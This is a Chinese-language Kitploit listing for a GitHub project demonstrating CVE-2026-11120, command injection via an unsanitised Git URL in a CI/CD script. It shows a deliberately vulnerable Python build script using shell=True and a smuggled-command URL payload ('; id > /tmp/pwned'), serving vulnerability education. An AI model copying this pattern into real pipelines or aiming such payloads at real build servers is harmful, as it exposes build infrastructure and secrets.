Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-11120-Command-Injection-via-Git-URL-in-CI-CD-Pipeline — 演示了通过 CI/CD 流水线中未净化的 Git URL 进行的命令注入,包括一个存在漏洞的构建脚本以及针对严重 CVE 的利用示例。 | Kitploit
工具/GitHubGitHub/george0papasotiriou/cve-2026-11120-command-injection-via-git-url-in-ci-cd-pipeline
漏洞分析漏洞利用DevSecOps学习与教育
GitHubgeorge0papasotiriou/cve-2026-11120-command-injection-via-git-url-in-ci-cd-pipeline

CVE-2026-11120-Command-Injection-via-Git-URL-in-CI-CD-Pipeline

演示了通过 CI/CD 流水线中未净化的 Git URL 进行的命令注入,包括一个存在漏洞的构建脚本以及针对严重 CVE 的利用示例。

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
17天前尚未审核

CVE-2026-11120 – 通过 CI/CD 流水线中的 Git URL 进行命令注入

程序代码(Python)

root@kitploit:~
# cicd_build.py - Clones repository without sanitizing URL
import subprocess, sys

def clone_and_build(repo_url):
    # Vulnerability: repo_url can contain shell metacharacters
    cmd = f"git clone {repo_url} /tmp/repo"
    subprocess.check_call(cmd, shell=True)
    # Build steps...

if __name__ == '__main__':
    # Simulate attacker-controlled input
    malicious_url = "https://github.com/org/repo.git; id > /tmp/pwned"
    clone_and_build(malicious_url)

CVE-2026-11120 – 通过 CI/CD 中的 Git URL 进行命令注入

Severity: Critical

概述

CI/CD 流水线脚本在 shell 命令中使用了未经净化的用户提供的 Git 仓库 URL。攻击者可以通过在 URL 中包含特殊字符(例如 ;、&&)来注入 shell 命令,从而在构建服务器上执行任意命令。

漏洞详情

  • 类型: 命令注入
  • 影响: 构建基础设施受损、机密泄露。
  • 根本原因: 仓库 URL 未经转义或验证就被直接拼接到 shell 命令中。

漏洞利用演示

运行存在漏洞的脚本:

root@kitploit:~
python cicd_build.py

该脚本会执行注入的 id 命令,从而创建 /tmp/pwned。


下载工具